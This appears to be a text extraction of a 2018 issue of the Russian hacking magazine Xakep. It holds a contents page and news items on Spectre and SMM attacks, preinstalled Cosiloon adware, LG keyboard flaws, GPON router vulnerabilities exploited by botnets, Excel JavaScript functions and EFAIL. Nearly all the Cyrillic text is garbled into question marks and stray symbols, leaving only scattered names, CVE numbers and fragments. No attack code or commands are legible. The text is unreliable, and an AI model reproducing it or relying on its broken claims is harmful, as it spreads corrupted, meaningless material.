close

Вход

Забыли?

вход по аккаунту

?

ХАКЕР №230 2018

код для вставкиСкачать
re
a te
di
nM
as
te r
PD
F
Ed
i to
r
???�18
?�0
CONTENTS
MEGANEWS
???�????�?�??�?????�????
???�????燗ndroid
???�??�??�?,�??�????�?��??�??�??�?�?????
??�????�??�???�????
????�???,�?????��??�??�??�?�??�???�???�????�???�??�?????�??
???�????�?�???�?�????�??�??????�??
??�??�?�?????�??�?????
???�??��??????�?????�????�??
???�???�???燦FC�燗pple燩ay��??�???�?????�?��????�?????
??�??�?�?????
???�??�??�???�??�????�??�??�??????��??�?????燛xim�??�???�??�??�???
??�??�??燭otal燙ommander��???�??�?????�???�??�??
???�???�牜???�??�??�?�
???�???�???��???�??�?�????�?�??�????�???�?�??�??????
???�?�?�??�?
???�??�??�??�??�??�?�??��??�??�????�????
????�?????�??�??�?
???�???�?�??�??????燚rupalgeddon2�燚rupal�?????�???�??�?????�????
??�??�???燝lobeImposter�0
????�?�??�??
???燗pple�?????�?�??�??�??�?�???�?????�??
?????�???�??�???�??�??????
???�????�?�?????�??�???�?,�????�??????�??�??�?????燯SB
WWW
??�????�??�??????�???
???�???牜???�?�
???�?????�?�??�??�???�??�???�???�???�???�??�??????
????�???�??????�???
???�???�???��?????�?�?????�???????�????�??�???�??�??�??
???�????�?????�????�?????�??�???????�???
??�?�???�????�???��??????�??�???�???�??�??�??�????
??�??�?�??????�?燗ndroid????�????�???
???�???�?��????�??�??�???�??�????�?
JavaScript�??�???�?�???
Arduino�???�??,�?�?????�??�?燛SP32!
???�??�??�????燗ndroid????�????�???
???�???�?�???�????,�??????�??????��?????
????�????�?
???�??�??�??�???�???�??�????�??�???�?燜USE�燬wift
????�?????營skra
??�???�???�??�??�????�??�??????�??�??�?????
??�??�????�???
???�0�??�?????�??�????�???�???�????�???�?????�?
???�?
???�???�?�???�??�??
?????牜Mifrill粻????????
nefedova@glc.ru
�
???????�???????
??�?� ???� ???�?� ???�???,� ???� ????� ????�???�?� ???�??�?????� ???�????�?
Meltdown� ?� Spectre,� ????� ??� ??� ???�??� ?????� ????�???�?� ???� ?????� ???�?
???�??,�????�???�???�??????�????�???�???�???��????�???�???.�??,
???�18�???�?�???�????�???�?.
??�??燬ystem燤anagement燤ode
???�?????�?� ???�????� Eclypsium� ????�??�???� ?????� ????�??� ???�?� ??� ????�
???�?????� ???�??????� Spectre� (????�??� 1).� ???�??�??�??� ????� ???�??� ???�?,
???�?� ????????� ???�??� ?� ???�??,� ???????� ???????�?� ???� ???????� ??????
???�????�?�??????�??�(System燤anagement燤ode,燬MM).
???�????�??� ???�??�?????� ?????� SMM� ????�???�??� ??� ???�??�????
x86/x86?64��??�?????�???�??�???�??�?�??????�??�?????�??�???�???,
????�??�?????�??�???�???�??�??�?,�??�????�?��????�????.�??�??
???,� ???�?� ??????????� ???� ???�????�???� ?� SMM,� ??????� ???�???�????� ????�
????� ???�????�?� ???�???�??�???�???,� ?� ???�??�??� ??????�???� ???�?� UEFI
???燘IOS�??�????�????�???�?????��??????�???�??�???�????��???�
?????�?�???�??�??��?????.
?� ??????�??,� SMM� ???�????�?� ???� ?� ???????�??� ?????� ?� ????�????
??� ???�????�??� ???�??� ??????� ?� ???� ??� ???�??�????�?.� ???,� ?� ???�???�
?????� Intel� ?????� ???�????�?� ???????�??� ???????� ???�???�???� ???�?????�
???�????�???�????�????�燬ystem燤anagement燫ange燫egister�(SMRR).
???�?????�?� Eclypsium� ??????� ??????�???�???� ????� ??� ???�????� ????�
??????�??�??�???�??�???�???燬pectre�???�??�CVE?2017?5753)�??,�???�
??�???�?�????�??�???????燬MRR��???????�??�??��??�??�???�?燬ys?
tem燤anagement燫AM�(SMRAM)��??????�??????�??�?????,�??燬MM�???�
???� ???????�??� ?� ?????�???� ???�????.� ?� ??????�???� ???�?????� ??????�?
???�???????� ???????� ???�??� ??� ??????,� ???????� ???�??� ????� ??????�?
SMRR,��??�??�?�?�?????燬MM.�????�???,�?????�?�?????�?,�??,�???�
???????� ??� SMRAM� ?� SMM,� ???�???�?????� ???????� ???�??� ????� ?� ???
???????�??�?�??????�??�?????,�??????�?�??�???�燬MM.
??�??�???�???� ????�???,� ???� ???� ???�??????� ????� ??� ??????�???� ???�?
??????�?????��??�??????燬pectre�???�??�CVE?2017?5715).
�??� ???� SMM,� ?� ???�????,� ???�?� ???�???�???�??�??� ???�??
?� ???????�??� ??????,� ????�??� ??????,� ???�???�??�??� ??� ??,� ????
?????�???�??� ??????�??�???,� ???� ???�?� ??� ????� Spectre� ???�??�?
???????�??�??�??�???,�????�???�??��?????�(?�??�??�?�????-�
??????,�?�??�??�???�??)�,��????�????�???�???.
????�??�???�?營ntel,�??????�??�???�?��???�???�??��??�?�18�???,
???�???,�??�???�??�??�??�??�??燬pectre�???�??��????�??�????�?
???�?????�?�?????�??�???�???,�??�??�???�?????�???燛clypsium.
??�???�?���?�?????�??�18�???�????�??�??�??燞eise� ??�????,�??�??�???�???�?
???????�?�??�????�?????��???�?�????�??�??�?????�??�????�??,�????�
????�??� ????�????� Meltdown� ?� Spectre.� ???�????�?� ????� ????� ?????� ????�
?????燬pectreNG.��?????�??,�???�????,�??�??�??,�??�????�??�?????�
??�??�?????�?�??�??�???營ntel,燗MD,�?????�??�??�??�???燗RM,��??�?
IBM� Power� 8,� Power� 9� ?� System� z,� ???�?????� ????�??.� ???�???�???�?� ???
????�?????�?�??�?????�??????�????,�??�???�???�?????�???�?�???�?
?????�???�??.
??�??�?,� ???� ????� Meltdown� ?� Spectre� ????� ????�???� ???� ?� ????�??
????,� ??� ???????� ???�???� ?????�??� ?� ???� ???�?� ????� ?� ??????� 2018� ????.
???�????�牜?????粻Meltdown�燬pectre�??�??�??燙VE:燤eltdown�(CVE?2017?
5754),� Spectre� ????�??� 1� (CVE?2017?5753)� ?� ????�??� 2� (CVE?2017?5715).� ????
Meltdown� ?� Spectre� ????�??� 1� ?� ??????� ???�?� ?????�???� ??� ????�?� ??,� ??
???�??� ??????�????� ????�???� 2� ???�???� ??????�??� ???�?� ???�????� ?� ????�
????�?��??????�???�??�??�?/BIOS/???�?????,�????�???��??�????�??
???�?????�??�????�?????�???�???��??�????.
??�???� AMD,� ARM,� IBM,� Intel,� Microsoft,� Red� Hat,� VMware,� Oracle,� Cisco,
CERT/CC,燯S?CERT��??�??�??�????��???�???�??�??�??�?�??�?????�?
?????� ???�????�??.� ???� ???�?????,� ????�???� ??????�???� ????� ??� ???�?
????�???�?� ???�?????�?� ???�????� Google� ?� Microsoft.� ???�????�??� ?????�
?????� ????�?????�???� ??�????� 3?� (CVE?2018?3640)� ?� ??�????� 4� (CVE?
2018?3639).�???��??,�??�?�???�?????�??�??�?????�??燬pectre�????�?
??�???�??�CVE?2017?5753)��???�??�CVE?2017?5715),��???�???燤elt?
down� (CVE?2017?5754)� ???�???� ????�????� 3.� ???� ???�????� ??????,� ?????
????�??� 3?� ?� ????�???� ????� Meltdown,� ???�?� ???� ?????� ????�??� ????�??� 4,
???�?�??????�??�??燬peculative燬tore燘ypass,��??�??�???????燬pectre.
???�?� ???� ?� ???�?????�??� Meltdown� ?� Spectre,� ?????� ????� ??????�???
?�?????�???�???�??????�??�?�(???�??�???�??�???,爏peculative)�???????�
??� ???????�??� ???�???�??.� ???�???� ???�???�???� ?� ???,� ???� Spectre� ?????�
???� 4� ???�?????�?� ???�??� ???????� ???�???� ???????�?,� ?� ???�???�?� ???�??,
???�???�??�爏tore???????,�???�?�???�??�??�???.
???�?????�?� Red� Hat� ????� ???�???� ?� ??????�?� ???�????�??� ?????,
???????�??�???�?,�??�??�??????�??�??�?�??�????�??�??�??�???.
�??�?????,�??????�??�??�??�????�??�??�??�??�??????,�??�??
????????� ???�??� ?� ???�???�???�??�??� ???�??,� ??� ???�???�?� ???�??
???????� (trust� boundaries)�,� ?� ?????� ??????�?� Microsoft� ?� ?????�???,
???�???�???�????�???�?????�?????�??�?????�?�??�???�??�??
????�????.
?�???�??�???,�??????�??�????燝oogle�??�???�(Jann燞orn),�??�??�??
?� ????�?� ?????�???�????,� ????�????�??� ???�?????�??� Meltdown� ?� Spectre,
???�???�??????爌roof?of?concept�??�??�?�??�????�??�????�?.
??�???�?�??�??�????�?,�??��?????�???�??�????�???�?????�????
?� ???�??�?,� ?� ???� ???�?� ?????� ???�??�?,� ?� ???????� JavaScript?????.� ?????�
???,� ???�???�?� Microsoft� ????�???,� ???� ???????� ???�??�??�??� ????�???
??� ???� ???� ?????�?????�?� ??� ????,� ?� ???�????�??� ???�??�?� ???�??
????????�???�?????�??�?爏ide?channel?????.
??�?� ????�??�???�?� Intel� ?????,� ???� ?????� ???????�??� ???�??� ???� Melt?
down�燬pectre�??�??�??�???�??�?????�?�???�???��??�?�????�???�
????�?????� ????�??????� ?????� ?????� ???�??� (??????� ?� Red� Hat,� Microsoft
?� ???�???).� ????�???�?,� ???� ????????�??� ??????�????� ???� ???�??�????�?
OEM????�???�???�??��??�??�??�?�?�????�??�???�?????�??��??�???�
???� ??????� (?� ???�???� ???????�??� ???� ??� ?� BIOS).� ????�???�?,� ???� ???
�??�????粻 ?????� ???�??????�?� ?????�??�???� ??� ????�????,� ???� ???� ????�
?????� ???�??�??�??� ???�??�??� ???�????�??� ??????�?� ??� ???�???.� ???????
?�???�????�??�??�????�??�?????�???�???�?????�?.
???�?� ????�???,� ???� ?????� ???�?,� ???�?� ???� ?� ???�???�??� ??????�????,
???�????�?�??�???�?????�????�??�????�?????�??.�??,營ntel�???�???,�??
???�????� ???�??????� ???�???�?????�??�?� ??� 2?8%,� ?� ????�??�???�?� ARM
?????��??�????�??�???�?????�??�?�?�2%.�??�????�???�??�???,�??
?�??�???�???�??�???�???�??�???�??�??�?�?�???�??�??�????.
????�%�???�?????�??�??????�?�??�??�?
?????�??
????�?????�?�??�?燘roadband燝enie�??�???�???�??�??�????�??�?� 2205�???�??�????�
??????�??,�??????�??,�??�?�???�?�??�?�?????�???�?��??????�????.
???,�??�?????,�??�??�?�%�???�??�??�???�?�??�??????�?�??�??�?�??�?�????�??.
????�??� ???�??� ??� ????�??�??�??�???� ????�???� ?� ???� Wi?Fi?????� ??� ????�????� ??????� ????
18%.
51%� ????�?????�??� ????�?????,� ???� ?????�?� ??� ??????� ??????� ??� ??????�????�????�?� ?� ??
???�???�?,�????�?????�???�??�??�???��?�??�??�???�???.
????�??,� ??� 34%� ????�??�??� ????�?????,� ???� ???�????� ??� ???�?,� ???� ?????�???� ?????�??
???�????,��??�%�???�???,�??�???�?�?�?????�?,�????�??�??�?.
???????
�?�??????�
???�?????�?� ??� ???????�???�??� ???????�????� ??????� ??� ?� ???�??� ???
????�???�???� ???�????�??� ??,� ????�??�?????� ??� ??????�??� ????�??�?
???�?� �?� ?????�?�,� ?� ???�?� ???????� ????�????� ???�????�?� ?� ???�??�?????�
??????�??�???�???.
Cosiloon
???�?????�?� Avast� Threat� Labs� ????�???�?� ???�??�????�?????� ???�?????
???�???�??� (adware)� Cosiloon� ??� ??????�????� ???�???�??� ?????� ????�??
?� ???????,� ?� ???� ???�?� ZTE,� Archos� ?� myPhone.� ???�??� ???�??� ???�????
??????�??�??�?�??�?�????.
???�???�??� ??????�??�???� ?� ???�??�?� ?????�?????� ????� ?� ???�????
??????�???????�??,��???�?�?�??�?????�????�?�???�??�??�???�?????
????�?????�??.� ?????�???�???� ?????,� ???� ???�?� ???�?????� ???�??
Cosiloon�?��??????�?????�??�???�?????�??燗vast�????�??��0�????�
???� ????,� ????�??� ???�??,� ???�??,� ???�????,� ???????�??????� ?� ???.
??� ???�??� Avast,� ????�???�??� ???????�??� Cosiloon� ??????�??� ??� ????� ????�
??????�???�?燝oogle.
???�???�?� ????�???,� ???� ???� ?� 2016� ????� ???� ??� ??????� ???�???�???�?
???�?????�?燚r.燱eb.�?�???�?�??�?????�??,�???�?�????�??�?�??�????
????�??.
??� ???�???�??� ???�?????� ???�???�??� ???� ???�?????�?� Avast� ???�?????
?????�??燗ndroid????????,�??�???�???��?�??�????.�??�??�?????�???
??????� ??� ???�??� ???????� ???�????�?� ??,� ??� ?????�???�?� ????�?� ????�?:
???� ??� ???�?� ??????????� ???�?� ??????�??,� ?� ???�?� ???????� ?????�?????�?
??????�?�???�?�??�?.�??�????�??�??�??????�??�??�?�??:
? google.eMediaService?
? google.eMusic1Service?
? google.ePlay3Service?
? google.eVideo2Service.
??� ???� ???� ????�?,� ???� ????�?� ??????� ??????�?� ??� ??????�???.� ???�????�
?????�?� ???�???�?� ???�?????� ??� ???????�???� ???�??� ?????� ???�????�??
???�????,��??�???�???�?�??�??�???�??�??????�????�?????�???��???�
???�????�????�?� ???�???�?????????�?????� ???� ????�???� ???�????�????
???�???.
??�??�???�???� ?????,� ???� ??????�??� ????�????�??� ???????� ?????�???
??� ???�????� ???�???�????�??,� ????�?????�??� ??� ???� ???�???,� ??� ???
??� ????�??� ??????�?.� ????� ?� ???,� ???,� ????� ????� ???�???� ????� ???�???,
????�??� ???�????� ???�???�?� ?????,� ?� ???� ???� ????�???�?� ??� ????� ??????
??� ???� ????�?,� ???�???�????�?� ?� ?????� ???�?� ?????� ????�?????� ??� ???????�
????� ??� ????�?� ???�?????� ??,� ??� ?� ????�???????????�???,� ???�?????
??�??�????�??�??�??�????.
???�?????�?� Avast� ??????�???� ?????�???� ?????�???� ???�??� Cosiloon,
?????�??�??�???�?�??�????�????�??�????�?????��??�??�????.�???
??� ???�??�????,� ZenLayer,� ???�??� ????�??� ??� ????�????� ???�?????�??
?�????�??�??�??�??�???�????�??,�?�????�?????�??�??�?�??�??�???�
???�??�??��??�??�??�?.�????�??�??�?????�?�???�??�?�??�???燗vast,
?????�?�????�???�??�??�???�????�??�??????�???�??�??�??�???.
??�??�???�???� ???�???�?� ?� ????�???� Google,� ?� ???�????� ???� ????�???�
????� ????� ???� ???�????� ???�????�??� ????????�?� ???�??� ????�????� ????�
????�??,� ??????�??� ????�?????� ???�????�??� ?????�??.� ???,� ????� ???????�?
???�???� Google� Play� Protect,� ???�?� ????�???� ?????�??� ????�??�??
?� ???????.� ????�?� ?� ???�???,� ???�?� ???�????�??� ???�???�??� ?????�??
?� ???�??�?� ??????�???,� ???� ???� ???�???�?� ?� Cosiloon,� ??????� ????�???
?????� ????� ??????�?� ????�?.� ???�?� ?????�???� ??,� ????�??�???�?� Google
????�?????� ???�????� ?� ???�????�????� ????�??�???????�??�???� ?????�
???????.
????�???�??� ???????� Avast� (Avast� Mobile� Security)� ????�???�???� ?� ????�
????� ?????�??� ???�????� Cosiloon,� ????�?� ??� ?????� ????????� ???�??� ?� ??????�
?????�??????�????�???��??�??�?�???�???.��??�?�??�????�?�???�???
?�??�???��???????�????�?�?燝oogle燩lay燩rotect.�??�?�???�??燝oogle
Play� Protect� ??????�?� ????�?????�?????� Cosiloon,� ???????�??� ???????�??
??????�??�??�?????�?�??�?????.
???�?�???�?????�?�????�??�???�??�?????�??�?�??�?????�???�??:
?� ???�???�??� ??????�???� ???�?� ???�?� ????�??� (??� ???�??�?� ???� ???�???
CrashService,營meMess�??燭erminal��??�?�???�??�???�?燗ndroid).�?�????�
????�??�???�??�??�?�?????牜?????�???粻(???�???�??�????��?????�???�
??� ??� ???�??� Android).� ???� ????�?� ????�??� ?????� ????�?????�??,� ???????
Avast� ???� ???�??� ????�????�??� ???�???� ???�??� ???�???,� ?� ???�???� ????�?
??�??�??�??�?????�?�?�?????�???�??�????.
????�?????�??�????�?燣G
??�???�?燙heck燩oint燫esearch�???�???�?�??�????�?��??�??�????�?????
???�????�??� ???�????�?� ????�??�???� ????�??�??� LG,� ???�??�??????� ?????
??????�???,�??燣G燝4,燣G燝5�燣G燝6.
??�??????�??� ????� ???�?� ????� ??????�?????� ???� ???�??�???� ??????�
?????�???��??????�???�??�???�????�?�?????�??�?????�????燣G.��?
???????� ???�?� ????� ???�??�??�?????� ???�??�?� ???????�??� ???�????�?,
??????�?????� ???�?????�???� ???�??� (keylogger)� ?� ?????� ????�??� ????????
???�??��??�????�????�??�???�???????�???�??�??.
???�??� ????�?� ????� ???�???� ?� ???�??�?� ???????�???� ???�?� ???�??
MyScript.�??�?????,�??�??�??????�??�??�?�???????�?�?????�???�???�
???�???�?� ?� ????�???� ???�???� ?????� ??????�??�??� HTTP??????�????,
?????�??????�??�?�??�??�?�??�?�???牜???????�?????�???粻(man?in?the?
middle).� ?????�??� ???�?� ???�?????� ???�?????� ??� ????�???� ???�????�??
????�???�?�??????�???�??�???�?�??????�??.
???�??� ???�??????� ????� ???�???� ?� ???�?????�???�?� ???�???�?� ???�?.
?� ???????� ????�?� ??????�?� ???�?????� ???� ????�???� ???�??????� ???�?
?�???�???�??�????�??�?��??�?????�???�??�???�?????�?�??�????�?
LG.
???�????�???� LG� ???�???�???�?� ????�????�??� ????�???� ???� ???�??
???�??????��???�?????�????燣VE?SMP?170025.�??�????�??�??�?????�?
??????�????� ?� ??????� ???�??????�?� ???????�???� ????�?????�??� ????�???
??� ????�??�??� ?????� G� (G5,� G6),� ?????� V� (Q10,� Q10,� V8),� ?????� X� (X300,
X400,燲500).
????�??�??�??�???,�??��??????燛THEREUM
?????�????�?�????�??�????�??,�??燗PPLE
?獷thereum�???�???�?�???,�?????�??��??�??????�??�?�?????�??�??�???,�?????
???�??�???�????�
?�???�??�??�?�??�????�??燱eAreDevelopers
???�????�????
??�???
??�??�????�??燘uild�18�??�????�???燤icrosoft�??�???�???�??�??�???�
????�??:� ???�?� ?� Excel� ??????�?� ???�??�??� ???�?????� ???�??�????�??�?
JavaScript.�????�???�??,�???�?????�?�??�??�??�?????�???�???�??�???�
????,�??????�????�??�?????�?��????�???.�????�????�??�???�??�?
?????� ?????�???� ?� ???�???� Excel,� ???�??� ????????� ?� ????� ?????� JavaScript?
?????�??�????,��?�??�??�?????燛xcel.
??�?� ???�??�??� ?????� ???�?????� ???�??�????�??�?� JavaScript� ??� ??????�
????�?��??�???�??�??????��??�????�???�???�?????�??燚eveloper燩re?
view� ???� Windows� ?� Mac,� ?� ???�?� ?� Excel� Online.� ???�?� ????�?????� ?????�?,
????�???????�??�??�???�???�??�??�???�????燨?ce營nsiders.
??�???�?� ??� ???????�???�??� ???????�????� ???�??�???� ???�??� ?????
??????�??.� ???�???� ????????� ??????�???� ???�?� ??� ????� �??� ?????� ???�?
??� ????�,� ?� ????�?� ???�?� ????� ????� ???�?� ???�???�??� ???�?????�?� ?� ???�?
???�?????�??�???�?,� ???� ???� ??????� JavaScript????�??�????�??�?� ?� Excel
???�?� ?????,� ?� ???�???,� ????�???� ???�??.� ?� ???�???�?,� ??????�???� proof?
of?concept�??�??�??�???�??�????�(Chase燚ardaman).
???�????� ???�????� ???�????�??� ????�??� Bleeping� Computer,� ???� ?� ????�
??????� ???�?� ???�?????� JavaScript????�??�????�????� ??????�?� ???�?????
????�??.� ???� ???�????� ?????� ???�???� ???�???�?� ???� ???�?,� ???�???�??
??� ???�???:� ????� JS,� ?????�????� ???�?????� ????�????,� ????� HTML,� ?????�
??????� ??� ???�????� ???�?� JavaScript????�??,� ?� ???�?� ????� ???�?????�??
JSON.�??�?�???,�?????�??�?�??�???�?????�??�???燲ML,�??????�????
??????�???�??????�?.
??� ???�?� ??????�??????� ??????� ????�????� Excel,� ?� ???�????,� ???�???
????�??� ???�???,� ???????� ???�??�???� ????�??????� ???�?,� ?� ?????� ??????�
????� ???�?????� JavaScript????�???.� ?????�???�???� ?????,� ???� ???� ??� ????�
??????� ???�?� ???�???� ????�???�??� �??�???�,� ???????� ???�???�?� ?� ????�??
???�???� ???�???�??� ???�??� Coinhive.� ???� ????� ???�??????� ???�??�???,� ???
?????�????�?�?�??????�燛xcel��??�??�?????��????�??�?,�?�???�???�
??� ?� ???????� ???�?� ??� ???.� ?� ??????�???� ????�??� ???�??,� ??????�???� ?� Mi?
crosoft燛xcel燱eb燙ontent,�??�????燙PU�??�????�?????�?�6%.
??�????�????,�??�???�??�??�??�??�????�????�燛xcel�??????�?��??�??
???�?????�??���??�????�??�??�???�???�?�????,�???�?�?�??�????
???� ???�??� ??� ????,� ?� ???�?� ???�???�????�?� ????�????�?� ??� ????�??
???�????�??????�??�??�????.
????�????燭ELEGRAM�????�?????�???�?�
?�?????�?�??,�??�??�??�?�????��????�?�?????�??�????�?燭elegram�(?????�?,�??�??
???�??????� ????�?????� ?� ?????�?????� ???�????�?� ???�??�??�?� 13� ????�?� 2018� ????),� ????�
?????�???� Crosser� Bot� ???�??�???�???�?� ??????????� ???�?� ????� ???�?????� ???�????�??� ????�
???�???�??� ???????.� ???�?????,� ???� ??????????� ????�?????�??� ?????�?????� ?????� ????�
????????�?.
??�?� ???�??�???�??� ????�?????�??,� ???????�??� ?� ????� ??� ??????� ??� ?� ???�?� ???�????�?,
?????�?????�?�.�??�??????�??�??????�???�?????�???�????�.
??�??�??�??�????�???????�?��??�??�??�?????�?�??�???�??�??�?��.
????�??� ???????�??� ????�?????� ???�??� ?� ????� ???�?� ??� 15%� ??� ????�????� ?� ??????�??�?
??????�???�?.
????�??�??????�??�??�??��???�??�?????�???�?�?�.
???�?�??�???,�??,�???�??��???�??�???�???�???,�?????�?????�??�?????�???�???�????
?????�??�??�??�??????�??�??�??�?��?40%:
?�??�????�?� ????�???� ???�??�??�?� Telegram� ?� ???� ???�???.� ??????� ????� ???�??�???�?.
?�??�?????�??�?�??�??????�??�???�??�????�?��??????�????�?��?�?40%�?�???�
??????� ????�??�??.� ?� ???????,� ???� ?� ???�??�??� ??????� ??� ???�?????� ????�???� ???????.
?� ???�?????� ???�?� ?????� ???�???� ??� Telegram????????� ???�????�?� ?????�?� 25%,� ?????� ?????�
??????�??� ????� ?????�????� ?� ???�????� ?????�?� 25%.� ???� ???�???� ?� ???,� ???� ?� Telegram� ????�
?????�?�?????�?�???????�.
?????�???????
???????�??????
?�?????�??�18�???�?????�?????�?� ???�??�?????,�??�????�?燚ASAN
GPON� ???�????�?� ???�?� ????� ????�????� ???�????�??,� ???�??� ???� ???????
??� ???� ??????� ??� ?????�??�???:� CVE?2018?10561� ?� CVE?2018?10562� (?????
?????�?????�??� ?� ???�??�??� ???????�??� ???�?????�???� ????).� ????� ????,
PoC????�??�?�??�??�???�??????��????�??�??�???.
???�?� ??????�?� ????�?� ?� ??????,� ???� ??� ???�?� ????????� ?????�?� DASAN
GPON� ???�????� ?????�???�?� ???� ??� ??????�??� ?????�???� ????�?,� ?� ???�?
????� ????�??� ?� ??????� ?????�???� ???�???�??� ???�????:� Hajime,� Mettle,� Mirai,
Muhstik� ?� Satori.� ?� ???????,� ?� ???????� ???�???� ??� ????� (Hajime,� Mirai,� Muhstik,
Satori)�??�??�??�??�????�??�???�?????�?��???�???,�????�???�??�?
??� ??????�???� DASAN� GPON� ??� ??????� ???????� ??????�????.� ???�??�??� ????�
????燤ettle,�???�??,�?????�?�??�??�??,�???�?�??????�???�??�??�???�
????�?�??�??�??�????,�??�??�???????�?????�??��???�??�???�?????�
??????�?�?�???.
???�?�??�?????�?燪ihoo�0燦etlab�?�???�?,�??�??�???�?�??�????�
??� ???�???� ???�????�?????� ?� ???�???�???�?,� ??� ???�??�??�???� ??� ????�?
???????�?????�??�????�?,�?��????�???�??�???�ay????.�???�?????�?
??�??�??�?�??????�????�???�???,�???�?�??�??�???,�??�??�??�??????�
??�??�???�?�???�??�?????�??????�????�??燚ASAN燝PON��??�??????
???�????.
??� ???�??� ???�?????�??,� ??� ???�???� ??� ???�??????� ??????�?� ???� ???�?
???�??燭heMoon,�????�???��14�???.�???�?�?�??????�??�??�??�????�
??� ???�???� Linux,� ??� ?� ???�?????� ???�?� ?????�????�?� ??� ???�?????� IoT?
??????�???.
???�????�??�????�??�???�???�?�???�??�???�??燚ASAN,�??�????�??
???�????�?� ??????� ?????� ZNID?GPON?25xx� ?� GPON� ONT� H640,� ?� ?????
???????�??� ???�????� ?????�??� ?� ???????�?� ???�????�?� 240� ?????� ??????�??
???�???�???�?.
???�???�??�????�???�???�???,�??燚ZS燴NID?GPON?25xx�燨NT�????
H640�???�??�?????�?燨EM????�????�??��????�?????�???燚ZS�(DASAN
Zhone燬olutions).�????�???,�?????�???�???�?????�?�?????�??�????��
???�????�?� ?????�?� ?????� ???�???�?� ?� ??????�??�????� ???� ??� ????�??�?,
?�????�?牜?????�???�???�.�???�??�????�?????�?,�??�??�???�?��????�
?????� ????� ???�????,� ??????�???� ?� ???�????� ???�???�???�?,� ?� ?� ???�??
??????�??� ???�??� ????�???� ????�?� ????�???�??�?,� ????� ??� ???�?,� ???�??
???�???�??�??�????�??��??�??�??????�??�?�?�????.
??� ???�??�??� Qihoo� 360� Netlab,� ?� ???�?????� ???�?� ????� 2%� ?????�??
???�?�??�??�?�??�????,牜???�????�?粻??�??�????�????�?.��?????�??,
??????�?�?????�?,�??�???�???�??�ay?????�????�????�???�?�???�???
???�??�??�???.
500�0�??�??��???�?????�???�?�??�??�???
????????�?�??�?????燗NDROID????�??
?�??�?????�???�??????�????�???�????�???�???�??�?�???????�?,�??????��??????燗n?
droid????�??�?????�?�???�?�?�??�??�??�??�???�???�?????�??.
???�??� ???� ?????�??????� ???� ?????�????� ???�???�??� �??�?� ??� ??????�.� ???� ?????�???
????� ????�???�?� ???�??� ??????�???� ???�????� ???????� ???�??� ????�?.� ???�????,� ?� ???�????�
???�??�?�???�??�??�???�??�??�???�??�?,�??�?�?�?????�?��????.�?????�???,�??
???�??��??�????�??�??�??�??�????�?????�??�??�?�??�???�??.
???�???�?� ??????�???� ????�?� ????�?????�??� ??� ???????� ???�????�?????� ???�?,� ???�???
??� 12�0� ??� 30�0� ???�??� ??� ????� ???????.� SMS?????� ???�??????�??� ???�????� ??????�
??????�?�?�?????�??�????.
??�???�?� ???�???�????�?� ?� ????�??� ??????�?� ??� 100�0� ??� 300�0� ???�??� ????�????,
??� ?????� ???� ???�?� ???�????� ??� 500�0� ???�??� ?� ????.� ?????� ?????� ?� ?????� ???�????�?
?�????�??????�???�?????�??????�?????�???��???�?????�?.
??????????? ??????
?
? �?????�?????
??????????
???燗NDROID
???????????!
????�???� ???????�????� ??????�??� ??� ????� Android� ???�?� ?????� ?????
?� ??????� ?????�?� ????�????� ??????�??� ??� ???�????� Google.� ???�?
???�?????�???�????燝oogle�?????�?�??????�??�??????�????�??????�?,
????� ??� ????�?� ???�???� ???� ????� ????�??� OEM??????�??,� ?????�?????� ????�
????�??�???�???�???.�??,�??�??�????�?�?????�?????�?� ??�???�?,�??
?????� ????� ????�??� ???�???�???�?� ???�????� ????� ?� ??????� ???�??,� ?� ??
?????�???�??????�??�?�????�???.
?�?????�??,�??�?????�?燝oogle�?�??�?�??�?????�?�??�??�???�???
????燨EM????�???�???�??,�???�??�????�??�?�???�??�???�?�???��???�
???� ???�????�??.� ?� ???�???,� ?� ????�??� ????� ???� ???????� ???�??� Treble,
???�??�??� ???�?????�??� ????�????� ????�??�???� Android� ?� ???�????�??
???�???�???�??� ???�?????� ?� ??????�?????� ???�??�???�??� ???�????�?� ????�
???�??� ???�???�????,� ???????� ??� ???�???�?� ?� ???�???�??� ???�???� Android
?�??????��?�???�?�????燣inux.
??�?� ??????� Treble� ???�???� ??� ????�???,� ????�??� ??� ?� ???�??� ???�???,
?� Google� ???�???,� ???� ???�?� ?????�????�?.� ???,� ???�?� ?????�??,� ???� ???�?
??????� Android� P� Google� ???�??� ???�??�???� ???�??�??� ???�???�???�??
???????�?�????????�???�?????�???.
???�??� ???????� ????� ????�?????�?� ??� ???�??�??� ?????�?� ???�?????�
???燝oogle營/O燚eveloper燙onference,��??�??燲DA燚evelopers�?????�?�??�?
???????�????燗ndroid�?????�???�??�?????�(David燢leidermacher),�??????
???�???,� ???� ?????� ???�??????� ???� OEM????�???�???�??� ???�????� �???�
??????�?� ???�?????� ???????�??� ??????�??� ?� ????�?????�??,� ???????�?
??????�???�??????�??�??????�????�.
??�?� ?????� ??????� ???�??????� ??� ???� ????�??????,� ?????�?� ????�???
????�??,� ?????� ??� ?????� ????�??� ???�??????�???�?� ????�?� ??� ????�??�???
???????� ???�????,� ??� ???� ?????� ??????�???� ?� Android� P� ??� ???�?,� ???� ??
????�????�??�????��??�??�??�???,�??�??�????�??��??�???.�??�?�?
??�???,�??????燝oogle�??�???燨EM????�???�???�??�??????�?�????�???
???????�??� ???????�????� ???�??� ??????�???�??� ????�??� ???�????
??�???????��??�?????�??�????燗ndroid???????�??.
??�?�???�???�??�??�????�????�??????
?�??,�??�???�?��??�??�???�???�18�???
???�???�??�??�?�??�????�9�??�?????�??�
?????�??�???
?�??�???�???�??????�??�???�?�??�?�????燝PU��???�???�???,�????�???�???�??�?
?????.�??????,�????�??�?�??�??�??�???�?�???�?�?????�???�????燝eForce�
?�???�???�???,�??�?????�燙EO�??�??????燦vidia
??�?????燛FAIL
?�?????�??�???�?�?�?????�???�??�???�??�??�?�??�?��??�??�????
???�??�?????�???�?????�???��??�??�?�??????�???�??�????�(Sebast?
ian� Schinzel)� ???�??�?????� ?� ???�????�??� ???�????�??� ?� ???�???� PGP
?� S/MIME.� ??????�??� ???�????�?� ????�??�???�?� ???�?� ????�???�??
???????� (Electronic� Frontier� Foundation).� ???� ???�???�???� ???�??�????� ?????�
?????�??� ????�??� ?� ????�?????�?� ????�????,� ?� ???????� ????�???� ?????�
??????�??� ?????�???� ???� ????�???�???????� ???�??�??�?� ??????� ?� PGP
?� S/MIME.� ????�?????,� ???� ??????�????� ???� ????�??� ????� ???,� ?� ?????�??
???�??�????�???� ???�???� ???????�??� ???�?� ????�?????�??� ??????�???
????�???�??�????�?�??�??�???燬ignal.
????�??�?�???�???�???�???�??�??�????�??�??�?????�?�???�?????�
